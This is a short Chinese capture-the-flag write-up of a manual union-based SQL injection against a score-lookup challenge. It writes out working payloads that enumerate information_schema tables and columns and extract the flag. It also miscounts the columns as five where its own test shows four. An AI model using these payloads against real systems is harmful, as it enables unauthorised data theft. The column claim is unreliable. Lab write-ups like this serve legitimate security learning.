看起來像是SQL注入,先來試試。
輸入1,2,3顯示的是三個人成績。
來試試是否存在注入。
輸入1,正常。輸入1' 錯誤。輸入1’#正常,說明存在注入點。
首先來看下有幾列從1開始試,1’ order by 4#正常,1’ order by 5#錯誤,說明有五列。
接下來開始使用聯合查詢,首先將id=-1,先手遍歷一下看一下那幾個表有回顯:
發現這四個表都有回顯,然后開始爆破表名。
得到數據庫名skctf_flag,接下來爆表名:id=-1'union select 1,2,3,group_concat(table_name)from information_schema.tables where table_schema=database()#
得到兩個表名 fl4g,sc 看起來fl4g像是存放flag的表,接下來開始爆字段:id=-1'union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=0x666c3467#注意最后的表名要用十六進制進行加密。
得到字段skctf_flag,開始獲取flagid=-1'union select 1,2,3,skctf_flag from fl4g#
得到flag。
雖然現在工具很多,而且功能很強大,但是手注是基礎,對我們理解sql注入的原理有很大的幫助,能手注還是盡量要手注的。